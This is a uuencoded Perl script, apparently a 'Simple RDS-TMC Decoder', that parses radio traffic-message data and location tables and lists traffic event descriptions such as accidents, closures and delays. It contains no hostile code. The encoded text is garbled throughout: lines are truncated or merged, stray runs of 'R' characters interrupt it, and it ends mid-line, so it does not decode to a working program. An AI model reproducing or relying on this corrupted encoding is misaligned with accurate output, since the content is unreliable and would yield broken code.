M(R$O=7-R+V)I;B]P97)L"B,*(R!3:6UP;&4@4D13+51-0R!$96-O9&5R(#`N M,0HC"B,@5&AI0HC('!U M2`E;W!TR=T)WTL("=(=&UL)R`]/B!<)&]P='-[)T@G?2P@)U!) MR=H)WTI.PII9B`H)&]P='-[)V@G?2!OR!U2`H)&9I;F1022P@)$9(+"`D2`H)7!O:6YT+"`E;F%M92P@)7)O860L("5S96=M96YT+"`E8VAAR=P)WTI M('Q\("(P,3`Q,#`Q,#`P,#`P,#`Q(CL@(R!2861I;S$*;7D@)&1IPH@("`@)&1I3X\<')E/B(["GT*"G=H:6QE*"%E;V8H1DE,12DI('L* M("`@(')E860H1DE,12PD9FEN9%!)+#$V+#`I.PH*("`@(&EF("@D9FEN9%!) M(#T]("1022D@>PH@("`@("`@("1I;F1E>"LK.PH@("`@("`@(')E860H1DE, M12PD3X\+VAT;6P^(CL*("`@(&-L;W-E($E.1$58.PI]"@IS=6(@<&%RS$P M?2DH6S`Q77LT?2DH6S`Q77LQ?2DH6S`Q77LQ?2DH6S`Q77LU?2DH6S`Q77LU M?2DH6S`Q77LQ,'TI*%LP,5U[,39]*2A;,#%=>S$P?2DH6S`Q77LQ-GTI*%LP M,5U[,3!]*2\["B`@("`*("`@(&UY("@DR=()WTI('L@"B`@("`@("`@;W!E;B@D1D@L("(^)&1I#PO83X@+2!023H@(B`N(&)I M;C)H97@H)%!)*2`N("(@1U)0.B`D1U)0+R1615(@(B`N('!A7!E.B`D4%19(B`N("(@*"(@+B!P87)S95]P M='DH)%!462D@+B`B*2(@+B`B7&XB+`H@("`@("`@("`@("`@(")<=$)L;V-K M(#(Z("1B,EQN(BP*("`@("`@("`@("`@("`B7'1";&]C:R`S.B`D8C-<;B(L M"B`@("`@("`@("`@("`@(EQT0FQO8VL@-#H@)&(T7&XB.PH*("`@(&EF("AP M87)S95]GR`*("`@("`@("!P3XB(&EF("@D M;W!T2`D8VAAR`D4%-.6S%=(#T@(B1C:&%R,21C:&%R,B([('T*("`@ M(&EF("@H)$,Q("X@)$,P*2!E<2`B,#`B*2![("104TY;,%T@/2`B)&-H87(Q M)&-H87(R(CL@?0H@"B`@("!P2`D8VAAR`*("`@("`@("!I M9B`H)&-H87(I('L@<')I;G0@)$9(("1C:&%R.R!]"B`@("!]"B`@("!PS%]*2A;,#%= M>S%]*2A;,#%=>S-]*2\["B`@("!M>2`H)$0L("103BP@)$5X=&5N="P@)$5V M96YT*2`]("1?6S%=(#U^("\H6S`Q77LQ?2DH6S`Q77LQ?2DH6S`Q77LS?2DH M6S`Q77LQ,7TI+SL*("`@(&UY("@D3&]C871I;VXI("`@("`@("`@("`@("`@ M(#T@)%];,ET@/7X@+RA;,#%=>S$V?2DO.PH*("`@('!R:6YT("1&2"`B7'1< M=$)I="!8-#H@)%0@*"(@+B!P87)S95]4*"14*2`N("(I7&XB.PH@("`@<')I M;G0@)$9((")<=%QT0FET(%@S.B`D1B`H(B`N('!A'1E;G0Z("1%>'1E;G0@*"(@+B!B:6XR9&5C*"1%>'1E;G0I("X@(BE<;B(L M"B`@("`@("`@("`@("`@("`@("`@("`B7'1<=$5V96YT.B`D179E;G0@*"(@ M+B!B:6XR9&5C*"1%=F5N="D@+B`B("T@(B`N('!AS1]*5LP,5U[,C1]+SL*"B`@("`@("`@("`@('!R:6YT("1& M2"`B("T@PH@ M("`@;7D@)&-H87(@/2`D8VAAPH@("`@PH@("`@ MPH@("`@PH@("`@2!["B`@("!R971U7LB)%];,%TB?2!\?"`B=6YK M;F]W;B(["GT@("`@"@IS=6(@<&%RR(D7ULP72)]('Q\(")U;FMN;W=N(CL*?0H*R=D)WTI('L*("`@("`@("!PR1C;V1E?2D@>PH@("`@("`@(&UY("1X("`@("`@(#T@)'!O M:6YT>R1C;V1E?7LG6$-/3U)$)WT["B`@("`@("`@;7D@)'D@("`@("`@/2`D M<&]I;G1[)&-O9&5]>R=90T]/4D0G?3L*("`@("`@("!M>2`D;FED("`@("`] M("1P;VEN='LD8V]D97U[)TXQ240G?3L@"B`@("`@("`@;7D@)')O860@("`@ M/2`D<&]I;G1[)&-O9&5]>R=23T%?3$-$)WT["B`@("`@("`@;7D@)'-E9VUE M;G0@/2`D<&]I;G1[)&-O9&5]>R=314=?3$-$)WT["@H@("`@("`@('!R:6YT M("1&2"`B7'1<=%QT3&]C871I;VX@8V]D92!T>7!E.B!03TE.5%QN(CL*("`@ M("`@("!PR1N M:61]*5QN(B`@("`@("`@("`@("`@("`@("`@("`@("!I9B`D;FED.PH@("`@ M("`@('!R:6YT("1&2"`B7'1<=%QT4F]A9"!C;V1E.B`DR=.04U%)WTI7&XB("`@("`@("`@("`@(&EF("1R;V%D.PH@("`@ M("`@('!R:6YT("1&2"`B7'1<=%QT4V5G;65N="!C;V1E.B`DR=.04U%)WTI7&XB(&EF("1S96=M96YT.PH@ M("`@("`@(&EF("@D>2`F)B`D>"D@>PH@("`@("`@("`@("!P"!%7&XB.PH@("`@("`@("`@("!I9B`H)&]P M='-[)T@G?2D@>PH@("`@("`@("`@("`@("`@<')I;G0@)$9((")<=%QT7'0\ M82!H2`N("(L(B`N("1X("X@(B9S<&X],"XS+#`N,R9Q/2(@+B`D>2`N("(L(B`N M("1X("X@(EPB/DUA<"!,:6YK/"]A/EQN(CL*("`@("`@("`@("`@?2!E;'-E M('L*("`@("`@("`@("`@<')I;G0@)$9((")<=%QT7'1,:6YK.B!H='1P.B\O M;6%PR=03TQ?3$-$)WU]>R=80T]/4D0G?3L*("`@("`@("!M>2`D>2`@("`@("`] M("1P;VEN='LDR=.,4E$)WT["B`@ M("`@("`@;7D@)&XR:60@("`@/2`D2`D;F%M92`@("`]("1R;V%D>R1C;V1E?7LG3D%-12=].PH@("`@ M("`@(&UY("1R;V%D("`@(#T@)'!O:6YT>R1C;V1E?7LG4D]!7TQ#1"=].PH@ M("`@("`@(&UY("1S96=M96YT(#T@)'!O:6YT>R1C;V1E?7LG4T5'7TQ#1"=] M.PH*("`@("`@("!PR1R;V%D?7LG3D%-12=]*5QN M(B`@("`@("`@("`@("`@:68@)')O860["B`@("`@("`@<')I;G0@)$9((")< M=%QT7'1396=M96YT(&-O9&4Z("1S96=M96YT("@D"!%7&XB.PH@("`@("`@("`@("!I9B`H)&]P='-[)T@G?2D@>PH@("`@ M("`@("`@("`@("`@<')I;G0@)$9((")<=%QT7'0\82!H2`N("(L(B`N("1X("X@ M(B9S<&X],"XS+#`N,R9Q/2(@+B`D>2`N("(L(B`N("1X("X@(EPB/DUA<"!, M:6YK/"]A/EQN(CL*("`@("`@("`@("`@?2!E;'-E('L*("`@("`@("`@("`@ M<')I;G0@)$9((")<=%QT7'1,:6YK.B!H='1P.B\O;6%PR=03TQ?3$-$ M)WU]>R=80T]/4D0G?3L*("`@("`@("!M>2`D>2`@("`@("`]("1P;VEN='LD MR=.,4E$)WT["B`@("`@ M("`@;7D@)&XR:60@("`@/2`D2`D;F%M92`@("`]("1S96=M96YT>R1C;V1E?7LG3D%-12=].PH@ M("`@("`@(&UY("1R;V%D("`@(#T@)'!O:6YT>R1C;V1E?7LG4D]!7TQ#1"=] M.PH@("`@("`@(&UY("1S96=M96YT(#T@)'!O:6YT>R1C;V1E?7LG4T5'7TQ# M1"=].PH@("`@("`@(&UY("1P;VEN="`@(#T@)'!O:6YT>R1C;V1E?7LG4$], M7TQ#1"=].PH*("`@("`@("!PR=.04U% M)WTI7&XB("`@("`@("`@("`@(&EF("1R;V%D.PH@("`@("`@('!R:6YT("1& M2"`B7'1<=%QT4V5G;65N="!C;V1E.B`DR=.04U%)WTI7&XB(&EF("1S96=M96YT.PH@("`@("`@(&EF("@D M>2`F)B`D>"D@>PH@("`@("`@("`@("!I9B`H)&]P='-[)T@G?2D@>PH@("`@ M("`@("`@("`@("`@<')I;G0@(EQT7'1<=$QI;FLZ(#QA(&AR968]7")H='1P M.B\O;6%PPH* M("`@(&UY("1C;W5N="`](#`["B`@("!M>2`D=&%B;&5?<&%T:"`]("1?6S!= M.PH@("`@<')I;G0@(E)E861I;F<@5$U#($QO8V%T:6]N(%1A8FQE(&%T("1T M86)L95]P871H.EQN(CL*"B`@("!O<&5N*%!/24Y44RP@("`B/"1T86)L95]P M871H+U!/24Y44RYD870B*2`@(&]R(&1I92`B0V]U;&0@;F]T(&]P96X@)'1A M8FQE7W!A=&@O4$])3E13+F1A=#H@)"%<;B(["B`@("!O<&5N*$Y!3453+"`@ M("`B/"1T86)L95]P871H+TY!3453+F1A="(I("`@(&]R(&1I92`B0V]U;&0@ M;F]T(&]P96X@)'1A8FQE7W!A=&@O3D%-15,N9&%T.B`D(5QN(CL*("`@(&]P M96XH4D]!1%,L("`@("(\)'1A8FQE7W!A=&@O4D]!1%,N9&%T(BD@("`@;W(@ M9&EE(")#;W5L9"!N;W0@;W!E;B`D=&%B;&5?<&%T:"]23T%$4RYD870Z("0A M7&XB.PH@("`@;W!E;BA314=-14Y44RP@(CPD=&%B;&5?<&%T:"]314=-14Y4 M4RYD870B*2!OPH@("`@("`@(&YE>'0@=6YL M97-S("]>6S`M.5TO.PH*("`@("`@("!M>2!`;&EN92`]('-P;&ET("@O.R\L M("1?*3L*("`@("`@("!M>2`H)$-)1"P@)$Q)1"P@)$Y)1"P@)$Y!344L("1. M0T]-345.5"D@/2!`;&EN93L*("`@(`H@("`@("`@("1N86UE>R1.241](#T@ M)$Y!344[(`H@("`@("`@("1C;W5N="LK.PH@("`@?0H@("`@<')I;G0@(B1C M;W5N="!E;G1R:65S7&XB.R`D8V]U;G0@/2`P.PH*("`@('!R:6YT(")<="!P M87)S:6YG(%)/0413.B`B.PH@("`@=VAI;&4@*#Q23T%$4SXI('L*("`@("`@ M("!N97AT('5N;&5SR1,0T1]>R=.,4E$)WT@("`@("`@/2`D3C%) M1#L*("`@("`@("`DR1,0T1]>R=.04U%)WT@("`@("`@/2`D;F%M97LD M3C%)1'T@+B`B+2(@+B`D;F%M97LD3C))1'T["B`@("`@("`@)&-O=6YT*RL[ M"B`@("!]"B`@("!PPH@("`@("`@(&YE>'0@=6YL97-S("]>6S`M M.5TO.PH*("`@("`@("!M>2!`;&EN92`]('-P;&ET("@O.R\L("1?*3L*("`@ M("`@("!M>2`H)$-)1"P@)%1!0D,L("1,0T0L("1#3$%34RP@)%1#1"P@)%-4 M0T0L("123T%$3E5-0D52+"`D4DY)1"P@)$XQ240L("1.,DE$+"`D4D]!7TQ# M1"P@)%-%1U],0T0L("103TQ?3$-$*2`]($!L:6YE.PH@("`@"B`@("`@("`@ M)'-E9VUE;G1[)$Q#1'U[)U)/041.54U"15(G?2`]("123T%$3E5-0D52.PH@ M("`@("`@("1S96=M96YT>R1,0T1]>R=.,4E$)WT@("`@("`@/2`D3C%)1#L* M("`@("`@("`DR1,0T1]>R=314=?3$-$)WT@("`@/2`D M4T5'7TQ#1#L*("`@("`@("`DR1.,4E$?2`N("(M(B`N("1N86UE>R1.,DE$?3L*("`@ M("`@("`D8V]U;G0K*SL*("`@('T*("`@('!R:6YT("(D8V]U;G0@96YT2`D>"`]("@D6$-/3U)$+S$P,#`P,"D["B`@("`@ M("`@;7D@)'D@/2`H)%E#3T]21"\Q,#`P,#`I.PH*("`@("`@("`D<&]I;G1[ M)$Q#1'U[)UA#3T]21"=]("`@/2`D>#L*("`@("`@("`D<&]I;G1[)$Q#1'U[ M)UE#3T]21"=]("`@/2`D>3L*("`@("`@("`D<&]I;G1[)$Q#1'U[)U).240G M?2`@("`@/2`D4DY)1#L*("`@("`@("`D<&]I;G1[)$Q#1'U[)TXQ240G?2`@ M("`@/2`D3C%)1#L*("`@("`@("`D<&]I;G1[)$Q#1'U[)U)/05],0T0G?2`@ M/2`D4D]!7TQ#1#L*("`@("`@("`D<&]I;G1[)$Q#1'U[)U-%1U],0T0G?2`@ M/2`D4T5'7TQ#1#L*("`@("`@("`D8V]U;G0K*SL*("`@('T*("`@('!R:6YT M("(D8V]U;G0@96YT"!["B`@("!R971U#)B:6X@>PH@ M("`@2`D2`E:&%S:#L*("`@(&UY("1I(#T@,#L*"B`@("!O<&5N*$9)3$4L M("(\)$%21U9;,%TB*3L*"B`@("!W:&EL92@A96]F*$9)3$4I*2!["B`@("`@ M("`@2`D:V5Y("AS;W)T('L@)&AA2D@+B(I7&XB.R`*("`@ M('T*?0H*RRR

RRRRRR

RRRRRRRRRRRRRRRRRRRRRRRR2!TW-O;65T:&EN9R!T:&%T(&1O M97,@;F]T(&YE8V-E2!B;&]C:R!T:&4@2!T2!M=6-H(&AE879I97(@=&AA;B!N M;W)M86P@*'=I=&@@879E2!L;W)R*'DO:65S*2(["B`@("`D179E;G1;,C$S M72`@/2`B*%$I('9E:&EC;&4@9FER92AS*2(["B`@("`D179E;G1;,C$T72`@ M/2`B*%$I(&EN8VED96YT*',I(CL*("`@("1%=F5N=%LR,35=("`]("(H42D@ M86-C:61E;G0H2!T7,@*%$I(&5X<&5C=&5D(CL*("`@("1%=F5N=%LR-#E=("`](")A M8V-I9&5N="X@3&]N9R!D96QA>7,@*%$I(CL*("`@("1%=F5N=%LR-3!=("`] M(")V96AI8VQE7,@*%$I(&5X<&5C=&5D(CL*("`@("1%=F5N=%LR-S==("`](")V96AI8VQE M2!T2!T2!T2!T7,@*%$I(&5X<&5C=&5D(CL*("`@("1%=F5N=%LS M,3)=("`](")S:&5D(&QO860N($QO;F<@9&5L87ES("A1*2(["B`@("`D179E M;G1;,S$S72`@/2`B*%$I(&)R;VME;B!D;W=N('9E:&EC;&4H'!E8W1E9"(["B`@("`D179E;G1;,S,R M72`@/2`B8G)O:V5N(&1O=VX@=F5H:6-L92X@3&]N9R!D96QA>7,@*%$I(CL* M("`@("1%=F5N=%LS,S-=("`](")A8V-I9&5N="!C;&5A2]I97,I(CL*("`@("1%=F5N=%LS,SE=("`]("(H42D@:F%C M:VMN:69E9"!T2!T7,@*%$I(&5X<&5C=&5D(CL*("`@("1%=F5N M=%LS-S==("`](")O=F5R='5R;F5D('9E:&EC;&4N($QO;F<@9&5L87ES("A1 M*2(["B`@("`D179E;G1;,S2!T7,@*%$I(&1U92!T;R!E87)L:65R M(&%C8VED96YT(CL*("`@("1%=F5N=%LS.3%=("`](")A8V-I9&5N="!I;G9E M2!A8V-I9&5N="AS*2X@1&%N9V5R(CL*("`@("1%=F5N M=%LS.3-=("`]("(H42D@8G)O:V5N(&1O=VX@=F5H:6-L92AS*2X@1&%N9V5R M(CL*("`@("1%=F5N=%LS.31=("`]("(H42D@8G)O:V5N(&1O=VX@:&5A=GD@ M;&]R2!T2!T2!T2!T2(["B`@("`D179E;G1;-#,T72`@/2`B8VQO M'!E8W1E9"([ M"B`@("`D179E;G1;-#,W72`@/2`B8VQO'!E8W1E9"(["B`@("`D M179E;G1;-#4Y72`@/2`B8FQO8VME9"!A:&5A9"X@2&5A=GD@=')A9F9I8R([ M"B`@("`D179E;G1;-#8P72`@/2`B8FQO8VME9"!A:&5A9"X@2&5A=GD@=')A M9F9I8R!E>'!E8W1E9"(["B`@("`D179E;G1;-#8Q72`@/2`B8FQO8VME9"!A M:&5A9"X@5')A9F9I8R!F;&]W:6YG(&9R965L>2(["B`@("`D179E;G1;-#8R M72`@/2`B8FQO8VME9"!A:&5A9"X@5')A9F9I8R!B=6EL9&EN9R!U<"(["B`@ M("`D179E;G1;-#8S72`@/2`B8FQO8VME9"!A:&5A9"X@1&5L87ES("A1*2([ M"B`@("`D179E;G1;-#8T72`@/2`B8FQO8VME9"!A:&5A9"X@1&5L87ES("A1 M*2!E>'!E8W1E9"(["B`@("`D179E;G1;-#8U72`@/2`B8FQO8VME9"!A:&5A M9"X@3&]N9R!D96QA>7,@*%$I(CL*("`@("1%=F5N=%LT-C9=("`](")S;&EP M(')O861S(')E;W!E;F5D(CL*("`@("1%=F5N=%LT-C==("`](")R96]P96YE M9"(["B`@("`D179E;G1;-#8X72`@/2`B;65S2!S;&EP(')O860@8FQO8VME9"(["B`@("`D M179E;G1;-#2!B;&]C:V5D(CL*("`@("1%=F5N=%LT.#E= M("`](")E>'!R97-S(&QA;F5S(&)L;V-K960B.PH@("`@)$5V96YT6S0Y,%T@ M(#T@(G1H2!R961U8V5D("AF'!E8W1E9"(["B`@("`D179E;G1;-30R72`@ M/2`B*%$I(&QA;F5S(&-L;W-E9"X@2&5A=GD@=')A9F9I8R(["B`@("`D179E M;G1;-30S72`@/2`B*%$I(&QA;F5S(&-L;W-E9"X@2&5A=GD@=')A9F9I8R!E M>'!E8W1E9"(["B`@("`D179E;G1;-30T72`@/2`B*%$I;&%N97,@8VQO2!R961U8V5D M("AF'!E8W1E9"([ M"B`@("`D179E;G1;-34R72`@/2`B8V%R'!E8W1E9"(["B`@ M("`D179E;G1;-34T72`@/2`B8V%R2([ M"B`@("`D179E;G1;-34U72`@/2`B8V%R2!T2!R961U8V5D M("AF'!E8W1E9"(["B`@("`D179E;G1;-38T72`@/2`B8V%R2!R961U8V5D("AF2!R961U8V5D("AF2!T2!T2!T'!E8W1E9"(["B`@("`D179E;G1;-3DW72`@/2`B8V]N=')A9FQO M=RX@2&5A=GD@=')A9F9I8R(["B`@("`D179E;G1;-3DX72`@/2`B8V]N=')A M9FQO=RX@2&5A=GD@=')A9F9I8R!E>'!E8W1E9"(["B`@("`D179E;G1;-3DY M72`@/2`B8V]N=')A9FQO=RX@5')A9F9I8R!F;&]W:6YG(&9R965L>2(["B`@ M("`D179E;G1;-C`P72`@/2`B8V]N=')A9FQO=RX@5')A9F9I8R!B=6EL9&EN M9R!U<"(["B`@("`D179E;G1;-C`Q72`@/2`B8V]N=')A9FQO=RX@0V%R2!T'!E8W1E9"(["B`@("`D179E;G1;-C$P72`@/2`B;F%R2!T2(["B`@ M("`D179E;G1;-C$S72`@/2`B;F%R'!E8W1E9"(["B`@("`D179E;G1;-C(P72`@/2`B8V]N=')A9FQO M=R!W:71H(&YA'!E8W1E9"(["B`@("`D179E;G1;-C(R72`@/2`B8V]N M=')A9FQO=R!W:71H(&YA2(["B`@("`D179E;G1;-C(S72`@/2`B8V]N=')A9FQO=R!W:71H(&YA M7,@2!T2!T M2!R961U8V5D("AF2!R961U8V5D("AF7,@*%$I(&5X<&5C=&5D(CL*("`@("1%=F5N=%LW-#E=("`] M(")R;V%D=V]R:W,N($QO;F<@9&5L87ES("A1*2(["B`@("`D179E;G1;-S4P M72`@/2`B*%$@2!T2!R961U8V5D("AF2!R M961U8V5D("AF6]U M="(["B`@("`D179E;G1;.#$Q72`@/2`B;F5W(')O860@;&%Y;W5T(CL*("`@ M("1%=F5N=%LX,3)=("`]("(H42!S971S(&]F*2!R;V%D=V]R:W,N(%-T871I M;VYA2!T:6UE(CL*("`@("1%=F5N=%LX,C)=("`] M("(H42!S971S(&]F*2!R97-U2!T M'!E8W1E9"(["B`@ M("`D179E;G1;.#,Q72`@/2`B*%$@2!T2(["B`@("`D179E M;G1;.#,T72`@/2`B*%$@'!E8W1E9"(["B`@("`D179E;G1; M.#0R72`@/2`B=V%T97(@;6%I;B!W;W)K+B!,;VYG(&1E;&%Y7,@*%$I(CL*("`@("1%=F5N=%LX M-#==("`](")W;W)K(&]N(&)U7,@*%$I(CL*("`@("1%=F5N=%LX-#E=("`](")W M;W)K(&]N(&)U6]U="!U;F-H86YG960B M.PH@("`@)$5V96YT6S@U-ET@(#T@(F-O;G-T2![ M2(["B`@("`D179E;G1;.3(S72`@/2`B86YI;6%L2!S M=&]R;2!D86UA9V4B.PH@("`@)$5V96YT6SDR-ET@(#T@(F)L;V-K960@8GD@ M*%$I(&9A;&QE;B!T2!T2!T2(["B`@("`D179E;G1;.3,W72`@/2`B9FQO;V1I;F7,@*%$I(CL*("`@("1%=F5N=%LY-#!=("`](")F;&]O9&EN M9RX@1&5L87ES("A1*2!E>'!E8W1E9"(["B`@("`D179E;G1;.30Q72`@/2`B M9FQO;V1I;F2!R961U8V5D("AF2!R961U8V5D("AF7,@*%$I(&5X<&5C=&5D(CL*("`@("1%=F5N=%LY-C1= M("`](")G87,@;&5A:RX@3&]N9R!D96QA>7,@*%$I(CL*("`@("1%=F5N=%LY M-C5=("`](")C;&]S960@9'5E('1O('-E7,@*%$I(CL*("`@("1% M=F5N=%LY-C==("`](")S97)I;W5S(&9I7,@*%$I(CL*("`@("1%=F5N=%LY-CE=("`](")C;&]S960@9F]R(&-L M96%R86YC92!W;W)K(CL*("`@("1%=F5N=%LY-S!=("`](")R;V%D(&9R964@ M86=A:6XB.PH@("`@)$5V96YT6SDW,5T@(#T@(FUEF%R9&]UFEN9R!R86EN("AA8F]V92!1(&AU;F1R960@;65T2!R;V%D("AA8F]V92!1(&AU;F1R960@;65T2!R961U8V5D("AF7,@*%$I(&5X<&5C=&5D(CL*("`@("1%=F5N=%LQ,#(Y72`](")S M97=E7,@*%$I(CL*("`@("1%=F5N=%LQ M,#,P72`](")S97=E'1R96UE;'D@ M:&%Z87)D;W5S(&1R:79I;F<@8V]N9&ET:6]N2!D=64@ M=&\@;&]O2!P871C:&5S("AA8F]V92!1(&AU;F1R960@;65T M2!P871C:&5S("AA8F]V M92!1(&AU;F1R960@;65TF%R9&]U'1R96UE(&AE870@*'5P('1O(%$I(CL*("`@("1%=F5N M=%LQ,#@Q72`](")E>'1R96UE(&-O;&0@*&]F(%$I(CL*("`@("1%=F5N=%LQ M,#@R72`](")L97-S(&5X=')E;64@=&5M<&5R871U2!S;F]W9F%L;"`H42DN(%9I2!R86EN("A1*2(["B`@("`D179E;G1;,3$Q,%T@/2`B:&5A=GD@ MF%R9"`H=FES:6)I;&ET M>2!R961U8V5D('1O(%$I(CL*("`@("1%=F5N=%LQ,3,R72`](")D86UA9VEN M9R!H86EL("AV:7-I8FEL:71Y(')E9'5C960@=&\@42DB.PH@("`@)$5V96YT M6S$Q,S1=(#T@(FAE879Y('-N;W=F86QL+B!6:7-I8FEL:71Y(')E9'5C960@ M*'1O(%$I(CL*("`@("1%=F5N=%LQ,3,U72`](")S;F]W9F%L;"X@5FES:6)I M;&ET>2!R961U8V5D("AT;R!1*2(["B`@("`D179E;G1;,3$S-ET@/2`B:&5A M=GD@2!R961U8V5D("AT;R!1*2(["B`@("`D179E M;G1;,3$S-UT@/2`B2!R961U8V5D("AT;R!1*2([ M"B`@("`D179E;G1;,3$W,%T@/2`B:&5A=GD@2!R86EN("A1*2!E>'!E M8W1E9"(["B`@("`D179E;G1;,3$W,ET@/2`B=V5A=&AE'!E8W1E9"!T M;R!I;7!R;W9E(CL*("`@("1%=F5N=%LQ,3F%R9"`H=VET M:"!V:7-I8FEL:71Y(')E9'5C960@=&\@42D@97AP96-T960B.PH@("`@)$5V M96YT6S$Q-S1=(#T@(F1A;6%G:6YG(&AA:6P@*'=I=&@@=FES:6)I;&ET>2!R M961U8V5D('1O(%$I(&5X<&5C=&5D(CL*("`@("1%=F5N=%LQ,3FEN9R!F;V<@97AP96-T960@*'=I=&@@=FES:6)I M;&ET>2!R961U8V5D('1O(%$I+B!$86YG97(@;V8@2!F;V<@*'=I=&@@=FES:6)I;&ET>2!R961U8V5D('1O(%$I M(&5X<&5C=&5D(CL*("`@("1%=F5N=%LQ,3&AA=7-T('!O;&QU=&EO;B(["B`@("`D179E;G1;,3(P,5T@/2`B=&]R M;F%D;V5S(CL*("`@("1%=F5N=%LQ,C`R72`](")H=7)R:6-A;F4@9F]R8V4@ M=VEN9',@*%$I(CL*("`@("1%=F5N=%LQ,C`S72`](")G86QE2!R961U8V5D('1O(#QM(CL*("`@("1% M=F5N=%LQ,S`T72`](")F;V<@*'9I2!F;V<@*'9IF%R9"`H=FES:6)I;&ET>2!R961U8V5D M('1O(%$I(CL*("`@("1%=F5N=%LQ,S$P72`](")B;&]W:6YG(&1U2!R961U8V5D("AT;R!1*2(["B`@("`D M179E;G1;,3,Q.5T@/2`B=FES:6)I;&ET>2!R961U8V5D('1O(#QM(CL*("`@ M("1%=F5N=%LQ,S(P72`](")V:7-I8FEL:71Y(')E9'5C960@=&\@/&TB.PH@ M("`@)$5V96YT6S$S,C%=(#T@(G9I2!R961U8V5D('1O(%$I(CL*("`@("1%=F5N=%LQ,S(T M72`](")S<')A>2!H87IA2!R961U8V5D('1O M(%$I(CL*("`@("1%=F5N=%LQ,S,R72`](")S;6]G(&%L97)T(CL*("`@("1% M=F5N=%LQ,S,W72`](")FFEN9R!F;V<@*'9I2!R M961U8V5D('1O(%$I(CL*("`@("1%=F5N=%LQ,S0U72`](")F;V<@8VQE87)I M;F2([ M"B`@("`D179E;G1;,30W,UT@/2`B8VAI;&1R96X@;VX@2(["B`@ M("`D179E;G1;,30W-%T@/2`B8WEC;&ES=',@;VX@2(["B`@("`D M179E;G1;,30W-5T@/2`B2!I;F-I9&5N="(["B`@("`D179E;G1;,30W-UT@/2`B<&]L:6-E M(&-H96-K<&]I;G0B.PH@("`@)$5V96YT6S$T-SA=(#T@(G1E2(["B`@("`D179E;G1;,30X,5T@/2`B86ER(')A:60L(&1A;F=E2X@ M1&%N9V5R(CL*("`@("1%=F5N=%LQ-#@T72`](")C>6-L:7-T7,@*%$I(CL*("`@("1%=F5N=%LQ-#@W M72`](")S96-U2!I;F-I9&5N="X@1&5L87ES("A1*2!E>'!E8W1E9"([ M"B`@("`D179E;G1;,30X.%T@/2`B7,@*%$I(&5X<&5C=&5D(CL*("`@("1%=F5N M=%LQ-#DQ72`](")P;VQI8V4@8VAE8VMP;VEN="X@3&]N9R!D96QA>7,@*%$I M(CL*("`@("1%=F5N=%LQ-#DR72`](")S96-U2!A;&5R="!W:71H9')A M=VXB.PH@("`@)$5V96YT6S$T.3-=(#T@(G-P;W)T&AI8FET:6]N(CL*("`@("1%=F5N=%LQ M-3`V72`](")F86ER(CL*("`@("1%=F5N=%LQ-3`W72`](")M87)K970B.PH@ M("`@)$5V96YT6S$U,#A=(#T@(F-E2!A;&5R M="(["B`@("`D179E;G1;,34Q-ET@/2`B8F]M8B!A;&5R="(["B`@("`D179E M;G1;,34Q-UT@/2`B;6%J;W(@979E;G0N(%-T871I;VYA7,@*%$I(&5X<&5C=&5D(CL*("`@("1%=F5N=%LQ-3,P72`](")M86IO M7,@*%$I(CL*("`@("1%=F5N=%LQ-3,Q72`] M(")S<&]R=',@;65E=&EN9RX@4W1A=&EO;F%R>2!T2!T'!E8W1E9"(["B`@ M("`D179E;G1;,34S.5T@/2`B'!E8W1E9"(["B`@("`D179E M;G1;,34U,5T@/2`B9F%I'!E8W1E9"(["B`@("`D M179E;G1;,34U,UT@/2`B9F%I2([ M"B`@("`D179E;G1;,34U-%T@/2`B9F%I7,@*%$I(CL*("`@("1% M=F5N=%LQ-34W72`](")F86ER+B!$96QA>7,@*%$I(&5X<&5C=&5D(CL*("`@ M("1%=F5N=%LQ-34X72`](")F86ER+B!,;VYG(&1E;&%Y'!E8W1E9"(["B`@("`D M179E;G1;,34V,ET@/2`B<&%R861E+B!,;VYG(&1E;&%Y'!E8W1E9"(["B`@("`D M179E;G1;,34V-ET@/2`B'!E8W1E9"(["B`@("`D179E;G1;,34W,%T@/2`B9&5M;VYS=')A M=&EO;BX@3&]N9R!D96QA>7,@*%$I(CL*("`@("1%=F5N=%LQ-32!A;&5R="X@4W1A=&EO;F%R>2!T2!A;&5R="X@1&%N9V5R(&]F('-T871I;VYA M2!T2!A;&5R="X@2&5A=GD@=')A9F9I8R!E>'!E8W1E9"(["B`@("`D M179E;G1;,34W.5T@/2`B7,@*%$I(CL*("`@("1%=F5N=%LQ-3@R72`](")S96-U2!A;&5R="X@1&5L87ES("A1*2!E>'!E8W1E9"(["B`@("`D179E;G1;,34X M,UT@/2`B7,@=7`@=&\@;VYE(&AO=7(B.PH@("`@)$5V96YT6S$V,#5=(#T@(F1E;&%Y M7,@*%$I(&5X<&5C=&5D(CL*("`@("1%=F5N=%LQ-C`X72`](")L;VYG(&1E M;&%Y7,@ M=7`@=&\@;6EN=71E2!L M;W)R*'DO:65S*2(["B`@("`D179E;G1;,38Q,ET@/2`B9&5L87ES('5P('1O M(&]N92!H;W5R(&9O2!L;W)R*'DO:65S*2(["B`@("`D179E;G1; M,38Q,UT@/2`B9&5L87ES('5P('1O('1W;R!H;W5R2!L;W)R*'DO:65S*2(["B`@("`D179E;G1; M,38Q-5T@/2`B2!V96AI8VQE7,@ M=7`@=&\@;6EN=71E7,@=7`@=&\@ M;6EN=71E7,@=7`@=&\@;6EN=71E M7,@=7`@=&\@9F]U7,@ M*%$I(CL*("`@("1%=F5N=%LQ-C,R72`](")D96QA>7,@;V8@=6YC97)T86EN M(&1U65D('5N=&EL M(&9U2]I97,I(CL*("`@("1%=F5N=%LQ-C0S72`](")D96QA>7,@*%$I M(&9O2!L;W)R*'DO:65S*2(["B`@("`D M179E;G1;,38T-5T@/2`B*%$I('-E2!L;W)R*'DO:65S*2(["B`@("`D179E;G1;,38T-UT@ M/2`B;F5X="!D97!A'!E8W1E9"(["B`@("`D179E;G1;,38U,UT@/2`B;&]N M9R!D96QA>7,@97AP96-T960B.PH@("`@)$5V96YT6S$V-31=(#T@(G9E7,@97AP96-T960B.PH@("`@)$5V96YT6S$V-35=(#T@(F%L M;"!S97)V:6-E2!B;V]K960@*'5N=&EL(%$I(CL*("`@("1%=F5N M=%LQ-C4V72`](")N97AT(&%R2!S97)V:6-E(&YO="!O<&5R871I;F<@*'5N=&EL M(%$I(CL*("`@("1%=F5N=%LQ-C8R72`](")P87)K(&%N9"!R:61E('1R:7`@ M=&EM92`H42DB.PH@("`@)$5V96YT6S$V-C-=(#T@(F1E;&%Y(&5X<&5C=&5D M('1O(&)E(&-L96%R960B.PH@("`@)$5V96YT6S$V.35=(#T@(F-U6EN9R!V96AI8VQE*',I+"!D86YG97(B.PH@("`@)$5V 